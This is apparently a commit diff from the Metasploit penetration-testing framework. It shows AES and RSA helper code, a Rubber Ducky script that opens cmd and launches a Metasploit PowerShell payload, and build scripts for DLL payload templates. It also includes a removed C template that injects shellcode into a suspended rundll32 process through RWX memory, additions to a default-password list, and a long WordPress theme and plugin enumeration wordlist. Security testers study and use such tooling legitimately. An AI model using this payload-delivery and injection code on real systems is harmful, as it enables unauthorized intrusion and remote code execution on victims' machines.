if a > 255:
a ^= 0x11B
b >>= 1
return r
def _mix(n, vec):
return sum(_gmul(n, v) << (24 - 8 * shift) for shift, v in enumerate(vec))
def _ror32(n):
return (n & 255) << 24 | n >> 8
def _rcon():
return [_gmul(1, 1 << n) for n in range(30)]
def _Si(S):
return [S.index(n) for n in range(len(S))]
def _mixl(S, vec):
return [_mix(s, vec) for s in S]
def _rorl(T):
return [_ror32(t) for t in T]
empty = struct.pack('')
class AESCBC(object):
nrs = {16: 10, 24: 12, 32: 14}
rcon = _rcon()
S = [
99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171,
118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156,
164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241,
113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179,
41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57,
74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127,
80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218,
33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167,
126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238,
184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108,
86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246,
14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191,
230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22
]
Si = _Si(S)
T1 = _mixl(S, (2, 1, 1, 3))
T2 = _rorl(T1)
T3 = _rorl(T2)
T4 = _rorl(T3)
T5 = _mixl(Si, (14, 9, 13, 11))
T6 = _rorl(T5)
T7 = _rorl(T6)
T8 = _rorl(T7)
U1 = _mixl(range(256), (14, 9, 13, 11))
U2 = _rorl(U1)
U3 = _rorl(U2)
U4 = _rorl(U3)
def __init__(self, key):
if len(key)not in (16, 24, 32):
raise ValueError('Invalid key size')
rds = self.nrs[len(key)]
self._Ke = [[0] * 4 for i in xrange(rds + 1)]
self._Kd = [[0] * 4 for i in xrange(rds + 1)]
rnd_kc = (rds + 1) * 4
KC = len(key) // 4
tk = [struct.unpack('>i', key[i:i + 4])[0]
for i in xrange(0, len(key), 4)]
rconpointer = 0
t = KC
for i in xrange(0, KC):
self._Ke[i // 4][i % 4] = tk[i]
self._Kd[rds - (i // 4)][i % 4] = tk[i]
while t < rnd_kc:
tt = tk[KC - 1]
tk[0] ^= ((self.S[(tt >> 16) & 255] << 24) ^ (self.S[(tt >> 8) & 255] << 16) ^ (
self.S[tt & 255] << 8) ^ self.S[(tt >> 24) & 255] ^ (self.rcon[rconpointer] << 24))
rconpointer += 1
if KC != 8:
for i in xrange(1, KC):
tk[i] ^= tk[i - 1]
else:
for i in xrange(1, KC // 2):
tk[i] ^= tk[i - 1]
tt = tk[KC // 2 - 1]
tk[KC // 2] ^= (self.S[tt & 255] ^ (self.S[(tt >> 8) & 255] << 8) ^
(self.S[(tt >> 16) & 255] << 16) ^ (self.S[(tt >> 24) & 255] << 24))
for i in xrange(KC // 2 + 1, KC):
tk[i] ^= tk[i - 1]
j = 0
while j < KC and t < rnd_kc:
self._Ke[t // 4][t % 4] = tk[j]
self._Kd[rds - (t // 4)][t % 4] = tk[j]
j += 1
t += 1
for r in xrange(1, rds):
for j in xrange(0, 4):
tt = self._Kd[r][j]
self._Kd[r][j] = (self.U1[(tt >> 24) & 255] ^ self.U2[(
tt >> 16) & 255] ^ self.U3[(tt >> 8) & 255] ^ self.U4[tt & 255])
def _encdec(self, data, K, s, S, L1, L2, L3, L4):
if len(data) != 16:
raise ValueError('wrong block length')
rds = len(K) - 1
(s1, s2, s3) = s
a = [0, 0, 0, 0]
t = [(_cw(data[4 * i:4 * i + 4]) ^ K[0][i])for i in xrange(0, 4)]
for r in xrange(1, rds):
for i in xrange(0, 4):
a[i] = L1[(t[i] >> 24) & 255]
a[i] ^= L2[(t[(i + s1) % 4] >> 16) & 255]
a[i] ^= L3[(t[(i + s2) % 4] >> 8) & 255]
a[i] ^= L4[t[(i + s3) % 4] & 255] ^ K[r][i]
t = copy.copy(a)
rst = []
for i in xrange(0, 4):
tt = K[rds][i]
rst.append((S[(t[i] >> 24) & 255] ^ (tt >> 24)) & 255)
rst.append((S[(t[(i + s1) % 4] >> 16) & 255] ^ (tt >> 16)) & 255)
rst.append((S[(t[(i + s2) % 4] >> 8) & 255] ^ (tt >> 8)) & 255)
rst.append((S[t[(i + s3) % 4] & 255] ^ tt) & 255)
return rst
def enc_in(self, pt):
return self._encdec(
pt, self._Ke, [
1, 2, 3], self.S, self.T1, self.T2, self.T3, self.T4)
def dec_in(self, ct):
return self._encdec(
ct, self._Kd, [
3, 2, 1], self.Si, self.T5, self.T6, self.T7, self.T8)
def pad(self, pt):
c = 16 - (len(pt) % 16)
return pt + bytes(chr(c) * c, 'utf-8')
def unpad(self, pt):
c = pt[-1]
if not isinstance(c, int):
c = ord(c)
return pt[:-c]
def encrypt(self, iv, pt):
if len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._lcb = _s2b(iv)
pt = self.pad(pt)
return empty.join([self.enc_b(b)for b in chunks(pt, 16)])
def enc_b(self, pt):
if len(pt) != 16:
raise ValueError('plaintext block must be 16 bytes')
pt = _s2b(pt)
pcb = [(p ^ l)for (p, l) in zip(pt, self._lcb)]
self._lcb = self.enc_in(pcb)
return _b2s(self._lcb)
def decrypt(self, iv, ct):
if len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._lcb = _s2b(iv)
if len(ct) % 16 != 0:
raise ValueError('ciphertext must be a multiple of 16')
return self.unpad(empty.join([self.dec_b(b)for b in chunks(ct, 16)]))
def dec_b(self, ct):
if len(ct) != 16:
raise ValueError('ciphertext block must be 16 bytes')
cb = _s2b(ct)
pt = [(p ^ l)for (p, l) in zip(self.dec_in(cb), self._lcb)]
self._lcb = cb
return _b2s(pt)
+77
View File
@@ -0,0 +1,77 @@
import sys
import math
import random
import binascii as ba
import os
from struct import unpack as u
from struct import pack
is2 = sys.version_info[0] < 3
def bt(b):
if is2:
return b
return ord(b)
def b2i(b):
return int(ba.b2a_hex(b), 16)
def i2b(i):
h = '%x' % i
if len(h) % 2 == 1:
h = '0' + h
if not is2:
h = h.encode('utf-8')
return ba.a2b_hex(h)
def rs(a, o):
if a[o] == bt(pack('B', 0x81)):
return (u('B', a[o + 1])[0], 2 + o)
elif a[o] == bt(pack('B', 0x82)):
return (u('>H', a[o + 1:o + 3])[0], 3 + o)
def ri(b, o):
i, o = rs(b, o)
return (b[o:o + i], o + i)
def b2me(b):
if b[0] != bt(pack('B', 0x30)):
return (None, None)
_, o = rs(b, 1)
if b[o] != bt(pack('B', 2)):
return (None, None)
(m, o) = ri(b, o + 1)
if b[o] != bt(pack('B', 2)):
return (None, None)
e = b[o + 2:]
return (b2i(m), b2i(e))
def der2me(d):
if d[0] != bt(pack('B', 0x30)):
return (None, None)
_, o = rs(d, 1)
while o < len(d):
if d[o] == bt(pack('B', 0x30)):
o += u('B', d[o + 1:o + 2])[0]
elif d[o] == bt(pack('B', 0x05)):
o += 2
elif d[o] == bt(pack('B', 0x03)):
_, o = rs(d, o + 1)
return b2me(d[o + 1:])
else:
return (None, None)
def rsa_enc(der, msg):
m, e = der2me(der)
h = pack('BB', 0, 2)
d = pack('B', 0)
l = 256 - len(h) - len(msg) - len(d)
p = os.urandom(512).replace(pack('B', 0), pack(''))
return i2b(pow(b2i(h + p[:l] + d + msg), e, m))
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
@@ -0,0 +1,14 @@
REM Title: Metasploit Generated Payload
REM Description: Opens a payload via powershell on the system
REM Version: 1.0
REM Open start menu
REM We use cmd.exe since the powershell payload is likely too long for the run bar
GUI r
DELAY 750
STRING cmd.exe
DELAY 750
ENTER
DELAY 750
STRING powershell.exe %{var_payload}
DELAY 750
ENTER
+10
View File
@@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
+7
View File
@@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
+4 -3
View File
@@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..
+2 -1
View File
@@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
@@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
@@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
@@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
@@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
View File
@@ -1,3 +1,4 @@
calvin
123456
password
user1234
@@ -54,3 +54,6 @@ easy-wp-smtp
duplicator_download
custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
File diff suppressed because it is too large Load Diff
+1448
View File
@@ -168,17 +168,21 @@ aanews
aanglo
aapna
aarambha-blogger
aarambha-real-estate
aargee
aari
aaron
aaron-modified-intent
aartus
aasta
aasta-light
aav1
aazeen
ab
ab-folio
abacus
abacus-hotel
abadir
abalane
abaris
abaya
@@ -204,6 +208,8 @@ abingle
abiolian-business
abisteel
abitno
ablanka
ablanna
able
abletone
ablog
@@ -239,6 +245,7 @@ abythens
ac-board
ac-care
ac-repair
ac-repair-services
academic
academic-clear
academic-education
@@ -289,6 +296,8 @@ accountant-child
accountantlaw
accountants-theme
accounting
accounting-techup
accountra
accssesspress-stdasore
ace
ace-blog
@@ -312,6 +321,7 @@ acommerce
acool
acosminblogger
acoustics
across
act-child
act-theme-lite
actify
@@ -396,6 +406,9 @@ adney
adonis
adorable-blog
adoration
adore-blog
adore-business
adore-news
adri
adrian-lite
adrielly-saponi
@@ -414,17 +427,20 @@ advance-blog
advance-blogging
advance-business
advance-coaching
advance-consultancy
advance-ecommerce-store
advance-ecommerce-store1
advance-education
advance-fitness-gym
advance-it-company
advance-marketing-agency
advance-one-page
advance-pet-care
advance-portfolio
advance-portfolio-0-1
advance-simple-blue
advance-startup
advance-techup
advance1-fitness-gym
advantage
advent
@@ -442,6 +458,8 @@ adventure-travel
adventure-travelling
adventurous
advertica-lite
advertising-techup
advertisingly-blog
advik-blog-lite
adviso
advisory
@@ -457,7 +475,9 @@ aemi
aemi-child
aemon
aeonaccess
aeonblock
aeonblog
aeonium
aeonmag
aera
aereo
@@ -481,8 +501,10 @@ affiliate-booster
affiliate-booster-sk
affiliate-marketingly
affiliate-newspaperly
affiliate-review
affiliateblogwriter
affiliates-bloglet
affiliatex
affilicious-theme
affilistrap
affilivice
@@ -518,6 +540,9 @@ agency-x
agency-zita
agencyup
agencyup-dark
agencywp
agencyx
agencyx-blog
agensy
aggiornare
agile-spirit
@@ -526,9 +551,12 @@ agility-wp
agindo
agiva
aglee-lite
agnar
agncy
agni
agri-lite
agriculture-farm
agriculture-farming
agroamerica
agronomics-lite
aguafuerte
@@ -556,6 +584,7 @@ airi-patricia
airi1
airiteste
airiwachswachs
airl
airmail-par-avion
airnews
airship
@@ -576,11 +605,14 @@ akarsh-blog
akash
akasse
akbar
akblog
akella
akhada-fitness-gym
aki-blog
akihabara
akira
akisa
akisa-lite
akks
akpager
aktivitetisormland
@@ -595,12 +627,15 @@ alacrity-lite
aladdin
alagu
alamein
alanah-free
alanding-lite
alante
alante-blog
alante-blue
alante-boxed
alante-business
alante-corporate
alante-dark
alante-eboxed
alante-ebusiness
alante-emagazine
@@ -616,13 +651,16 @@ alante-x
alante2
alantrarose
alara
alaska-blog
alaska-free
alaymack
alba
alba-lite
alba-tumblog
albacore
albar
albatross
alberta
albinomouse
albizia
alce
@@ -684,6 +722,7 @@ alizee
alkalia
alkane
alkimia
alkio
alkivia-chameleon
alku
all-about-coffee
@@ -704,7 +743,10 @@ allegiant
allegiant-2
allegiant1
allegiantly
allegro
allele
alleria
alley
alley-home-services
alley-themes
allied-uri-httpflytunes-fmthemesaries
@@ -739,6 +781,7 @@ alodabaty-uri-httpswww-alodabaty-com
alodabaty-uri-httpswww-alodabaty-comthemesalodabatymagazine-lite
alodabaty-uri-httpswww-alodabaty-comthemesmhmagazine-lite
aloja
alok
alones
alovernat
alowa
@@ -791,6 +834,7 @@ alurra
alux
alvaro-uri-httpsthemepalace-comdownloadstravel-ultimate
alvn-pizza
always
always-twittingtwitter-themeat4us
alyena
alyssas-blog
@@ -829,6 +873,7 @@ ambiguity
ambika
ambirurmxd
ambision
ambitio
ambition
ambling-bellows
ambrosia
@@ -865,6 +910,7 @@ amoresyamores
amp
amp-accelerated-mobile-pages
amp-publisher
ampark
ampbase
ampface
ampface-base
@@ -900,16 +946,19 @@ anacronico-uri-httpanacroniconet63netblog
anadbry
anaglyph-lite
anakin-mobile
analog
analogbd
analogous
analytica
analytical-lite
anamio
anand
ananya
anarcho-notepad
anassar
anatomy-lite
anatta
anc-news
anchor
anchorage
andar
@@ -933,6 +982,7 @@ andygray
anecdote-lite
aneeq
anew
anews
anexa
anfaust
anfolder
@@ -951,6 +1001,9 @@ ani-world
aniki
anila
anima
animal-pet-care
animal-pet-shop
animal-wildlife
animals
animass
animate-lite
@@ -1010,6 +1063,7 @@ anvil-theme
anvys
anya
anymags
anymags-blog
anymags-news
anyna
anyonepage
@@ -1020,6 +1074,7 @@ anzelysajt
anzu
aocean
aos-second-version
apace
apazit
apbt
apelle-uno
@@ -1050,9 +1105,11 @@ apostrophe
apothecary
app-landing-page
app7
apparel-store
appcloud
appdetail
appeal
appetizer
appgate
apple
apple-mac-os-x-leopard
@@ -1066,6 +1123,7 @@ application
applicator
appmela
appointable
appointech
appointee
appointment
appointment-blue
@@ -1079,6 +1137,7 @@ apppage
apppresser-mobile
appre
apprise
approach
appsense
appsetter
apptheme-free
@@ -1090,6 +1149,7 @@ apricot
apricot-blog
apt-news
apweb
aqeeq-agency
aqua
aqua-black
aqua-blue
@@ -1097,6 +1157,7 @@ aqua-portfolio
aqua10
aquaapp
aquablock
aquafy-starter
aquaparallax
aquarella-lite
aquarius
@@ -1126,6 +1187,7 @@ arbitragex
arbuda
arbune
arbutus
arc-fse
arcade-basic
arcade-basic-loff
arcade-by-frelocaters
@@ -1133,6 +1195,7 @@ arcana
arcanum
arcegator
arche
archeo
archie
archimedes
architect
@@ -1140,10 +1203,14 @@ architect-architecture
architect-decor
architect-design
architect-designs
architect-engineer
architect-lite
architecto
architectonic
architects
architecture
architecture-building
architecture-designer
architectwp
archy
arclite
@@ -1170,6 +1237,7 @@ argonia
ari
ari-p
ariana
aribest
aribiz
ariblog
ariboom
@@ -1194,6 +1262,7 @@ ariniom
aripop
ariqube
arise
arison-lite
ariwoo
arix
arixoo
@@ -1209,8 +1278,12 @@ armada
armadillo
arman
armando
armata
armenia
armonia
aroid
aromafashion
aromatic
aromatry
aron
aronia
@@ -1225,7 +1298,9 @@ arrival-store
ars-cv
arsenaloide
art-blogazine
art-catalogue
art-gallery
art-gallery-museum
art-magazine
arta
artblog
@@ -1237,6 +1312,7 @@ artefact
artemis
artera
artera-1-0
arterior
artex
artfolio
artgallery
@@ -1254,6 +1330,7 @@ artikler-theme
artisan
artist
artist-lite
artist-portfolio
artistas
artistic
artistic-blog
@@ -1270,12 +1347,14 @@ artsavius-blog
artsavius-wave
artsblue
artsgreen
artsylens
arturo-theme
artwork
artwork-lite
arun
arunachala
aruz
arvada
arwebstudio
arwen
arya-multipurpose
@@ -1291,6 +1370,7 @@ ascendant
ascendant-1
ascendanthh
ascendente
ascendoor-magazine
ascension
ascent
ascent-free
@@ -1316,17 +1396,21 @@ ashe1
ashe2
ashea
ashee
ashlar
ashmi
ashram
ashvalejohn-child
asia-garden
asian-restaurant
asimuk-one
askella
asket-magazine
askiw
asmartgs
asokay
asonant
aspace
aspace-free
aspen
aspiration-i
aspire
@@ -1344,6 +1428,7 @@ aster
asteria-lite
asteria-lite2
asterion
asterisk-lite
asteroid
astha
asthir
@@ -1354,6 +1439,7 @@ astn
astoned
astore
astori
astory
astra
astra-brixco-frd
astrad
@@ -1394,6 +1480,7 @@ atiframe-builder
atlanta
atlantaa
atlantic
atlantisak
atlas
atlas-concern
atlas-re5
@@ -1431,6 +1518,7 @@ attractwhite-theme
atwitteration
atwood
atwpthemes-jasper
atyra
au-restaurant
auberge
auberge-plus
@@ -1471,6 +1559,9 @@ author
author-author
author-blog
author-landing-page
author-personal-blog
author-portfolio
author-writer
authorcentric
authoredrobertson
authority
@@ -1484,11 +1575,14 @@ autmunport
autmunport-1-1
auto-car
auto-car-care
auto-car-dealership
auto-d
auto-dealer
auto-dealer-lite
auto-dezmembrari
auto-insurance-theme
auto-load-next-post-make
auto-motors
auto-show
auto-store
auto-theme
@@ -1500,7 +1594,9 @@ autofocus-lite
autograph
automobile
automobile-car-dealer
automobile-car-services
automobile-hub
automobile-shop
automotive-blog-theme
automotive-centre
autoprice24-auto-parts-shop
@@ -1525,6 +1621,14 @@ avadanta-agency
avadanta-business
avadanta-consulting
avadanta-corporate
avadanta-dark
avadanta-deal
avadanta-finance
avadanta-firm
avadanta-industry
avadanta-invest
avadanta-tech
avadanta-trade
avadar
avail
avak-fitness
@@ -1535,6 +1639,7 @@ avalon-b
avani
avanish
avant
avant-garde
avant-portfolio
avant-x
avante
@@ -1564,7 +1669,9 @@ avik
avior
avira
avis-lite
aviser
avish
avitech
avix-designs
avnii
avoca
@@ -1573,9 +1680,11 @@ avocation
avogue
avon
avon-lite
avova
avril
avrilly
avrora
avtari
avum
avventura-lite
avvocato
@@ -1621,6 +1730,7 @@ axiohost
axiom
axis-magazine
axtia
axton
axtria
aya
ayaairport
@@ -1645,6 +1755,8 @@ ayawild
aydinmu
aye-bruh-man-look
aye-carumba
ayroma
aytias
ayumi
ayyash
az
@@ -1727,14 +1839,17 @@ baena
bagility
bahama
bai
baithak
bajaar
bakedwp
bakerblues
bakeroner
bakers-lite
bakery
bakery-cafe
bakery-food
bakery-shop
bakery-store
bakes
bakes-and-cakes
bakes-and-cakes-with-a-pinch-of-love
@@ -1745,6 +1860,7 @@ baleen
balloonr
balloonsongreen
ballyhoo
ballyhoo-blocks
baltic
baltimore-phototheme
bam
@@ -1771,6 +1887,7 @@ barbara
barbaros-tinos
barber
barber-lite
barbershop-nail-salon
barcelona
barclays
barcode-uri-httpswoocommerce-comstorefront
@@ -1782,6 +1899,7 @@ barebrick
baris
bariskkk
barista
barista-coffee-shop
barkly
barletta
barlow
@@ -1865,6 +1983,7 @@ bb10
bba
bbcc-theme
bbird-under
bblog
bbold
bbold-lite
bbpress-and-canvas-fix-canvas-child-theme
@@ -1902,6 +2021,7 @@ beardsley
beastin
beat-mix-lite
beatrix-lite
beaumont
beautiful
beautiful-blog
beautiful-bootstrap-starter-theme
@@ -1918,6 +2038,7 @@ beauty-and-spa
beauty-clean
beauty-cosemic
beauty-dots
beauty-hair-salon
beauty-is-beauty
beauty-lab
beauty-land
@@ -1925,8 +2046,12 @@ beauty-light
beauty-mart
beauty-mountain
beauty-parlour
beauty-salon
beauty-salon-lite
beauty-salon-spa
beauty-saloon
beauty-spa
beauty-spa-elementor
beauty-spa-salon
beauty-studio
beauty-studio-pro
@@ -1948,6 +2073,7 @@ becrux
bee-fashion
bee-news
beecrew
beetan
beetech
beetheme
beetle
@@ -1957,6 +2083,7 @@ beflex
befold
befreiphone
beginner
beginner-blog
beginnings
begonia
begonia-lite
@@ -1971,6 +2098,7 @@ bekko
belajar
belajar_v1-0
belfast
beli
believe
belinni-lite
belise-lite
@@ -1991,6 +2119,7 @@ belly
bellyrn
beluga
bemainty
benawp-bootstrap-portfolio
benetinvest
benevolence
benevolent
@@ -2014,6 +2143,7 @@ beoreo-shared-by-vestathemes-com
bepopshop-theme
bere-elegant
bergenwp
bergify
beri_cafe
bering
berkeley
@@ -2040,16 +2170,20 @@ best-education
best-food
best-hotel
best-learner
best-listing
best-magazine
best-minimal-restaurant
best-minimalist
best-movie-theme
best-news
best-recipe
best-reloaded
best-restaurant
best-shop
best-simple
best-startup
best-wp
bestblogger
besteurful
bestore
bestrespo
@@ -2063,11 +2197,13 @@ beth
betilu
beton
better-health
better-news-vibe
betti-style
betube
beverly
bevro
bexley
bexplore
beyond-expectations
beyond-magazine
beyrouth
@@ -2081,9 +2217,11 @@ bg-photo-frame
bg-teline-theme
bgreen
bhaga
bhakti
bhali16
bharat
bhari
bhavana
bhost
bhtech-right-column
bhumi
@@ -2100,6 +2238,7 @@ bicbb
bicubic
bicycle
bicycle-rental
bicycle-repair
bicycleshop
biddo
bidhantech
@@ -2108,12 +2247,16 @@ big-bang
big-blank-responsive-theme
big-blue
big-bob
big-breeze
big-brother
big-buttons
big-city
big-dot-2-0
big-impresa
big-lights
big-little-something
big-media
big-patterns
big-pink
big-pix
big-red-framework
@@ -2122,9 +2265,11 @@ big-stone
big-store
bigblank
bigblank2
bigbulletin
bigbusiness
bigc
bigcitylife
bigmart
bigrecipe
bigred
bigseo-theme-lite
@@ -2163,6 +2308,7 @@ biopsia
bioship
biostorelite
biotodoma
bioxlog
birchware-kiss
bird-flight
birdfield
@@ -2191,6 +2337,7 @@ bistic
bistro
bistro-lite
bitcoinee
bitin
bitlumen
bito
bits
@@ -2224,6 +2371,8 @@ bizcent
bizconsulting
bizcorp
bizdir
bizemla
bizes
bizfit
bizflare
bizflow
@@ -2233,6 +2382,7 @@ bizgrowth
bizgrowth2
bizhunt
bizin
bizindustries
bizkit
bizlight
bizline
@@ -2240,12 +2390,14 @@ bizlite
bizlite-business
bizmark
bizmart
bizmax
bizmo
biznesspack
biznez-lite
biznis
bizniz
biznol
biznotch
bizonex
bizplan
bizplus
@@ -2258,6 +2410,7 @@ bizsmart
bizsphere
bizstart
bizstartup
bizstrait
bizstudio-lite
bizstudio-lite-demo
biztheme
@@ -2274,17 +2427,21 @@ bizway-responsive
bizwhoop
bizwhoop1
bizwide
bizworld-lite
bizworx
bizz-builder
bizz-ecommerce
bizz-trip
bizzbee
bizzboss
bizzcorp-lite
bizzer
bizzmo
bizznik
bizznis
bizzoy
bizzy
bjork
bkk-theme
bl-flower
blablasaq
@@ -2400,8 +2557,11 @@ blagz-blog-magazine-theme
blain
blaize
blakely
blakely-light
blanc
blanche-lite
blanco
blanco-lite
blank
blank-canvas
blank-page
@@ -2439,6 +2599,7 @@ blight-light-blog
blind
bliss
blissful
blite
blitz
bloatless
bloc99
@@ -2446,15 +2607,25 @@ blocade
blocal
block
block-based-bosco
block-builder
block-lite
blockbase
blockchain-lite
blocked
blockem
blockette
blockfield
blockfold
blockify
blockio
blockpress
blocks
blocks-v1-3
blocks2
blockst
blockstrap
blocksy
blockwp
blockz
blocomo
